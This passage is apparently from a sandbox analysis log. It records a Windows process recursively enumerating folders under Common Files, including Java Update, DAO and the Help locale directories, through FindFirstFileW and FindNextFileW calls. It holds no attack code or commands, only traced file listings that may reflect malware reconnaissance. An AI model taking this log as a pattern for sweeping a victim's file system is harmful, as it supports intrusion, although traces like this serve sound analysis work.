cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 1 [0242.981] GetProcessHeap () returned 0x550000 [0242.981] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0242.981] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0243.016] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.016] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa1fc00, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x801fa420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xaa1fc00, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x3cb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaucheck.exe", cAlternateFileName="")) returned 1 [0243.016] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83fa200, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x801fa420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83fa200, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x39780, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaureg.exe", cAlternateFileName="")) returned 1 [0243.016] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dd4800, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x5dd4800, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x7bd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="jucheck.exe", cAlternateFileName="")) returned 1 [0243.016] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x249c100, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x249c100, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x3e180, dwReserved0=0x0, dwReserved1=0x0, cFileName="jusched.exe", cAlternateFileName="")) returned 1 [0243.017] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb63a00, ftCreationTime.dwHighDateTime=0x1ce76b0, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfeb63a00, ftLastWriteTime.dwHighDateTime=0x1ce76b0, nFileSizeHigh=0x0, nFileSizeLow=0x583, dwReserved0=0x0, dwReserved1=0x0, cFileName="task.xml", cAlternateFileName="")) returned 1 [0243.017] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb63a00, ftCreationTime.dwHighDateTime=0x1ce76b0, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfeb63a00, ftLastWriteTime.dwHighDateTime=0x1ce76b0, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="task64.xml", cAlternateFileName="")) returned 1 [0243.017] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb63a00, ftCreationTime.dwHighDateTime=0x1ce76b0, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfeb63a00, ftLastWriteTime.dwHighDateTime=0x1ce76b0, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="task64.xml", cAlternateFileName="")) returned 0 [0243.017] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0243.018] GetProcessHeap () returned 0x550000 [0243.018] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0243.018] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0 [0243.018] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0243.018] GetProcessHeap () returned 0x550000 [0243.019] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0243.019] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0243.019] GetProcessHeap () returned 0x550000 [0243.019] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0243.019] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0243.019] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.019] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DAO", cAlternateFileName="")) returned 1 [0243.019] GetProcessHeap () returned 0x550000 [0243.019] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0243.019] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0243.020] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.020] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b309dbc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x5b309dbc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x95000, dwReserved0=0x0, dwReserved1=0x0, cFileName="dao360.dll", cAlternateFileName="")) returned 1 [0243.020] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b309dbc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x5b309dbc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x872c4350, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x95000, dwReserved0=0x0, dwReserved1=0x0, cFileName="dao360.dll", cAlternateFileName="")) returned 0 [0243.020] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0243.020] GetProcessHeap () returned 0x550000 [0243.020] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0243.020] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60d54030, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0243.020] GetProcessHeap () returned 0x550000 [0243.020] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0243.020] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60d54030, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0243.530] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60d54030, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.530] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1028", cAlternateFileName="")) returned 1 [0243.530] GetProcessHeap () returned 0x550000 [0243.530] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0243.530] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0243.965] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.965] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b50f00, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x52b50f00, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x3340, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0243.965] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b50f00, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x52b50f00, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x3340, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0243.965] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0243.966] GetProcessHeap () returned 0x550000 [0243.966] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0243.966] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1031", cAlternateFileName="")) returned 1 [0243.966] GetProcessHeap () returned 0x550000 [0243.966] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0243.966] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0243.967] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.967] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x538a200, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x538a200, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x4f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0243.967] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x538a200, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x538a200, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x4f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0243.967] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0243.967] GetProcessHeap () returned 0x550000 [0243.967] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0243.967] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0243.967] GetProcessHeap () returned 0x550000 [0243.967] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0243.967] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.014] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.014] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6c3700, ftCreationTime.dwHighDateTime=0x1c9db16, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7c6c3700, ftLastWriteTime.dwHighDateTime=0x1c9db16, nFileSizeHigh=0x0, nFileSizeLow=0x4548, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0244.014] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6c3700, ftCreationTime.dwHighDateTime=0x1c9db16, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7c6c3700, ftLastWriteTime.dwHighDateTime=0x1c9db16, nFileSizeHigh=0x0, nFileSizeLow=0x4548, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0244.015] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.015] GetProcessHeap () returned 0x550000 [0244.015] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.015] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0244.015] GetProcessHeap () returned 0x550000 [0244.015] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0244.015] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.038] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.039] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c48f00, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x57c48f00, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x4d48, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0244.039] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c48f00, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x57c48f00, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x4d48, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0244.039] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.039] GetProcessHeap () returned 0x550000 [0244.039] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.039] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1040", cAlternateFileName="")) returned 1 [0244.039] GetProcessHeap () returned 0x550000 [0244.039] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, 